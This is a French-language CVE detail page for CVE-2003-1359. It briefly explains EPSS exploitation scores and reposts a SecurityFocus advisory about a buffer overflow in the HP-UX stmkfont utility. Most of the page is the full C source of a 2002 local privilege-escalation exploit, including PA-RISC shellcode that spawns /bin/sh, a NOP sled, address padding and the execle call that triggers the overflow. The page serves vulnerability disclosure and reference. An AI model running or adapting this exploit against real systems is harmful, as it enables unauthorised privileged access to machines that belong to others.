CVE-2003-1359 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/6836/info A buffer overflow vulnerability has been reported in the stmkfont utility shipped with HP-UX systems. The problem occurs due to insufficient bounds checking on user-suplied data to the alternate typeface library command-line option. A local attacker may be able to exploit this issue to execute arbitrary code with elevated privileges. All Avaya PDS 9 and 11 platforms are vulnerable to this issue. Avaya PDS 12 platforms running on HP-UX 11.00 are vulnerable as well. PDS 12 versions running on HP-UX 11.11 are not vulnerable. /*## copyright LAST STAGE OF DELIRIUM jun 2002 poland *://lsd-pl.net/ #*/ /*## /usr/bin/stmkfont #*/ #include <stdlib.h> #include <stdio.h> #include <unistd.h> #define ADRNUM 1200 #define NOPNUM 12000 #define PADNUM 3 char shellcode[]= "\xeb\x5f\x1f\xfd" /* bl .+8,%r26 */ "\x0b\x39\x02\x99" /* xor %r25,%r25,%r25 */ "\xb7\x5a\x40\x22" /* addi,< 0x11,%r26,%r26 */ "\x0f\x40\x12\x0e" /* stbs %r0,7(%r26) */ "\x20\x20\x08\x01" /* ldil L%0xc0000004,%r1 */ "\xe4\x20\xe0\x08" /* ble R%0xc0000004(%sr7,%r1) */ "\xb4\x16\x70\x16" /* addi,> 0xb,%r0,%r22 */ "/bin/sh" ; char jump[]= "\xe0\x40\x00\x00" /* be 0x0(%sr0,%rp) */ "\x37\xdc\x00\x00" /* copy %sp,%ret0 */ ; char nop[]="\x0a\xb5\x02\x95"; int main(int argc,char **argv){ char buffer[20000],adr[4],*b,*envp[2]; int i; printf("copyright LAST STAGE OF DELIRIUM jun 2002 poland //lsd-pl.net/\n"); printf("/usr/bin/stmkfont for HP-UX 10.20 700/800\n"); *((unsigned long*)adr)=(*(unsigned long(*)())jump)()-16732; printf("0x%x\n",*((unsigned long*)adr)); envp[0]=&buffer[2000]; envp[1]=0; b=buffer; for(i=0;i<PADNUM;i++) *b++=0x61; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; *b=0; b=&buffer[2000]; strcpy(b,"lsd=");b+=4; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; *b=0; execle("/usr/bin/stmkfont","lsd",buffer,0,envp); }
